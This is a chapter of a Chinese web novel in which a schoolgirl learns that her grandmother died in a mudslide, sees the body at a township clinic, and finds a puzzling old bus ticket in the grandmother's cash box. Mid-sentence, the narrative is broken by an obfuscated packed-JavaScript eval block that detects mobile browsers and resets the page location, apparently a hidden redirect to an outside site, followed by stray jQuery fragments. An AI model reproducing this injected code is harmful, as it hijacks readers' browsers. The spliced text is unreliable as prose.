安州的雨从前天开始越下越大，部分低洼区域的街道都被淹了，但学校却依旧没有通知停课。
方汀又起晚了，这周的第二次，而今天才周三，她直接一觉睡到了十点，闹钟和赵柠都没能把她唤醒，还是宿舍阿姨查寝时才把她叫醒。
醒来时，方汀一看手机，数十个未接来电，看得她瞬间清醒，腾地从床上一跃而起，快步一边朝卫生间走一边从上到下翻看未接电话。
最近的一通来自安凌。
“怎么了？”
方汀将手机开扩音放在盥洗台边上，以平时两倍的速度开始咕噜噜刷牙。
“起了吗？我帮你跟班主任请假了，说你身体不舒服，你一会儿别又说漏嘴。”
安凌那边有点嘈杂，背景还有哗啦啦的雨声，方汀余光扫了眼时间，这会儿正是第二节课间，一共二十分钟，正常不下雨的话，应该在跑操。
“知道了。”
方汀挂断，又回拨第二个电话，是孟钊打来的。
刚接通，方汀还没开口，就听电话那头传来孟钊的声音：“我在安凌旁边，起了就行，你要是身体真哪儿不舒服，我就陪你去医院。”
“不用，就是昨晚咖啡喝上头了，有点失眠，我挂了啊，马上就过来。”
方汀掬了捧清水往脸上扑，又扯了张洗脸巾在脸上胡乱擦了几下，擦干后，便快步走进室内，将桌上摆放的习题集一股脑收进包里，跨上后朝外奔去。
刚跑到门口，便陡然停住了脚步，方汀拧眉望着外面的倾盆大雨，略显烦躁地无声骂了句，正要转身回去拿伞，就感觉手中的手机在震动。
来电显示是班主任。
方汀一时没拿定主意要不要接，电话就挂断了，但紧接着第二个就打来了，方汀强忍心底那股没由来的焦虑，犹豫着点了接听。
她刚想摆出安凌帮她打掩护的那幅说辞，就听班主任温和的声音从电话那头传来。
“方汀你简单收拾一下，一会儿不用来教室了，直接去校门口，你家里人在那边等你。”
“老周啊，不用这么残忍吧？两天而已诶……”方汀感到一丝错愕，就迟到了两天而已，就直接给她判死刑了？
“还有心情开玩笑，我看你身体好得很嘛。”
班主任在电话那头语气含笑，看样子是压根儿没信安凌给她找的借口，但他没戳穿，只是依旧用和缓的语调，叫方汀先去校门口。
方汀连熬三天夜的迟钝脑子，终于后知后觉地反应过来，回宿舍拿了伞，穿过雨幕朝校门口大步走去。
她走了几步，忽然心念一动，锁眉看向手机页面上的陌生座机号码，鬼使神差地回拨了过去。
那边嘟声许久，才接通，电话那头是一个陌生女人的声音。
“你好，方石镇人民政府，请问什么事？”
方汀微不可查地皱了下眉，语气礼貌生疏：“抱歉，是你们给我打的电话，我刚才没接到，请问有什么事吗？”
电话那头沉默了片刻，撂下句稍等一下，便听到脚步渐远，过了半晌，另一个略显年轻的男人声音接起电话，喂了声。
“你好。”方汀出声。
“不好意思，方汀是吧？是这样的，我本来想用手机给你打的，但最近拨出号码太多，停机了，就用的单位座机，估计你以为是推销电话没接是吧？”对面的年轻人语气里有种佯装的松快，但方汀能听出他嗓音有些许紧绷。
方汀没多余解释，只嗯了声，询问他怎么。
电话那头的年轻人清了下嗓子，斟酌了好半晌语言，才小心翼翼道：“你爷爷的电话一直打不通，是这样的，宋贵英是你奶奶吧？”
“谁？”方汀听着这个陌生的名字一时间没反应过来，待对面又重复了一遍，她才倏然想起之前看过的户口本上，第三页奶奶的名字，似乎正是写的“宋贵英”三个字。
“嗯，对。”方汀略显疑惑，她现在的脑子不足以支撑她思考这句话背后隐藏的含义，但潜意识又告诉她，或许有什么事发生了。
校门近在咫尺，方汀看着站在校门口的门卫，这才想起上课时间，没有班主任开具的出门条，门卫不会轻易放人。
方汀刚想催促电话那头，余光一闪，就见视线内出现一高一矮两人，深黑色的大伞下，那两张脸格外熟悉。
两双眼睛就那么透过厚重的雨幕，直直看向她，眼神里藏着她读不懂的情绪。
心中的疑虑和不安接踵而至，好似一团乱糟糟的毛线，此时却出现了两个线头，不等方汀整理清楚思绪，手机里又传来阵阵嘟声，她移开手机一看，安凌的电话插了进来。
蹙眉按下拒接后，再将手机挪回耳朵，就听那年轻人轻轻的声音透过电话介质传来，略显失真，他说：“你奶奶前天被泥石流卷走，今天凌晨救援队才在山脚下找到……”
世界好像安静了。
方汀耳朵有一度的失灵，她满脸茫然无措，把手机拿下看了眼页面，通话还在继续，她又挪回耳边，却依旧听不到声音，只有她搏然跳动的心跳声，阵阵砸击着鼓膜。
她保持着接听手机的姿势，下意识朝外看去，那两个熟悉的身影靠近了，她终于看清了两人眼神中那看不透的东西。
是悲伤，是怜悯。
接下来的五个多小时，方汀没了印象，她只记得自己浑浑噩噩上了车，然后在哭得声嘶力竭的方稚面前，极其冷静地与林江海讲话，中途还接了爷爷一个电话，得知他正在从县里回去的路上。
安州的雨一出城就小了，一路开至筠山境内，天空甚至还放了晴，大朵的白云点缀在湛蓝的天空中，仿佛画一般。
车行至方石镇，才勉强能看出洪水过境的惨况，满街的黄色泥沙被清理至两旁，容纳车辆经过，方汀透过车窗，看到不少人正奋力往垃圾车上清运河沙，几乎所有人从鞋底到裤腿都沾满了泥渍。
车最终停在卫生院，方汀下车，还没进去，就听到从里传来一道撕心裂肺的哭喊，她脚步顿了下，回身看了眼方稚。
他麻木着脸，眼睛里满是红血丝，看方汀看他，他扯了扯嘴角，露出一个比哭还难看的笑来。
“林校长。”
一个护士模样的人迎上来，朝林江海打招呼，目光却越过他，落在方汀和方稚身上，“这两位……”
“宋贵英的亲孙女。”林江海简短道。
护士做了个啊的口形，看向方汀和方稚的眼神中莫名多了几分可怜，她领着三人朝卫生院内部走，一边走一边解释：“我们这边只是临时停置点，等遇难者身份完全确认后，家属就可以把尸体领回去了。”
话音落下，护士脚步停在一楼走廊的最深处，虚掩的门内传来哭泣声。
方汀不确定刚才在街上听到的声音是不是从这里传出的。
护士站在门口：“这次遇难的一共两人，另一位的家属已经在里面了，你们也进去吧，结束后到我这儿来登记就行。”
林江海点头，两手分别扶着方汀和方稚的肩，重重按了下，只说了句“我在外面等你们”，便跟着护士走了。
卫生院的临时停尸点与医院太平间和殡仪馆都不同，大概只是临时用于停放尸体，因此从外表看就像一间普通病房。
方稚站在门口，不知什么时候攥住了方汀，他眼睛看着那扇门，嘴唇咬得发白，却迟迟没有动作。
方汀用被方稚捏得生疼的手，回握了一下他，难得说了软话：“怕的话在外面等着，我进去看看。”
方汀还算镇定，只在最初听到死讯时大脑一片空白，但这么久也反应过来了。虽说和原身的奶奶相处时间不长，但她对她的印象却格外好。
方汀上辈子加上这辈子都没亲身经历过身边的亲人死亡，唯一有印象的，还是她小学二年级时姥姥去世，但那会儿太小了，根本不懂死亡的含义，加之姥姥去世时已经将近九十，完全是寿终正寝，因此也没有特别的感觉。
但对于原身奶奶的死，才让方汀真切感受到什么叫亲人的离世。
就好像
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16613047|185232||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
一个朝夕相处的人，忽然之间，没有任何预兆地就从这个世界消失了，杳无音讯，而你的世界随处可见这人的痕迹，这些痕迹无时无刻不在提醒你，这个人真实存在过，只是现在不见了。
“我怎么会害怕。”方稚朝方汀笑了笑，眼中却好似在哭：“那是奶奶呢。”
方汀沉默了阵，揉了揉他的脑袋：“进去吧。”
推开门，一股浓郁的刺鼻味道扑面而来，方汀在门口微不可查地停顿了一秒，扫了眼屋子里的两张床，靠左侧的床边围着一圈人，看不清床上的模样，而另一边则只坐了一个人，正在发呆，方汀认出那是爷爷。
方稚站在门口，目光粘在床上那白布覆盖下的微微隆起，似乎突然间心生畏惧，脚下一步不动。
爷爷听到动静，似有所感地抬头看向门口，在看到方汀和方稚时，明显一愣。
他起身走上前，压低嘶哑的嗓音呵斥两人：“谁让你们来的？不在学校上课，来这里做什么？赶紧出去，沾一身的晦气！”
说着，他张开双臂，以强硬的姿态将方汀和方稚往外推，方稚顿时就慌了，抓着爷爷的胳膊，眼泪跟随声音喷涌而出：“我不走！我要看看奶奶！”
他挣扎着奔跑到床边，颤抖着手掀开白布，在看到那张已经严重变形的脸时，他哇地一声大哭起来，旁边的人低声啜泣着，没有任何一个人朝方稚看去。
方稚怨恨地看向爷爷，崩溃咆哮：“都怪你，你如果在家的话，奶奶就不会出事——”
“方稚！”
方汀厉声打断他，寒着脸：“注意场合，说话之前过过脑子。”
方稚流着眼泪愤恨地转过头，没再说话。爷爷却一反常态，沉默着没有动怒，也没有反驳，只是默默走了出去，半晌，门外飘进来一股劣质香烟味。
方汀站了会儿，就出去了，走廊上那股廉价的尼古丁味已经消散在空气里，爷爷的身影不见了。
“方稚呢？”林江海看到方汀从里出来。
“还在里面，情绪有点激动，让他缓一会儿吧。”方汀道：“看到爷爷了吗？”
“他说有点事先走了，我叫他等一下跟我们一起，他不愿意。”林江海皱眉看着方汀，她本就白皙的脸此时愈发苍白，“你……没事吧，别硬撑啊。”
方汀摇摇头，深吸了口气，鼻息间那股浓重的福尔马林味道始终挥之不去：“我还好，老林你在这儿先等方稚，我去做个登记。”
“行，你去吧。”
护士办公室内。
护士指着桌上的物品移交花名册和遗体确认单，示意方汀签字，见她年纪不大，护士好心提醒：“县里针对这次洪灾专门拨了款，你奶奶的抚恤金，到时候直接去政府领就行。”
方汀落下最后一笔，直起身朝护士点头，然后从她手里接过一只大黑箱子，箱子的锁已经被卸了，打开一看，表面一层铺满了浸湿发皱的钞票，下一层则是一些发票、户口本之类的，但因为被压在下层，所以表面还比较干燥。
“你奶奶死之前，怀里一直抱着这个箱子，估计就是为了里面的钱。”护士唏嘘道：“他们老一辈的人就是这样，有钱也不存银行，命都不要了，还想着回去拿箱子，简直太不值得。”
方汀翻看箱子里的物品，随口问：“什么意思？”
护士毫不避讳：“哦，你不知道吧，本来村上和镇上在泥石流到来前，就已经完成全员转移了，结果那俩老太太，担心家里钱箱里的钱，偷摸又折返回去，这才发生了意外……”
“这是什么？”护士一脸诧异地看着方汀从箱子里翻出一张小票一样的纸，她凑近辨认：“这是车票吧？”
“看着像客车车票，也不知道这些老年人保存这些东西有什么用。”
护士不太理解地戚戚两声，见方汀脸色不太好，立马收了声，佯装整理桌面。
方汀攥着车票的手逐渐收紧，眼底藏着一抹沉郁。
为什么奶奶的箱子里，会有一张前年十月十五日的车票。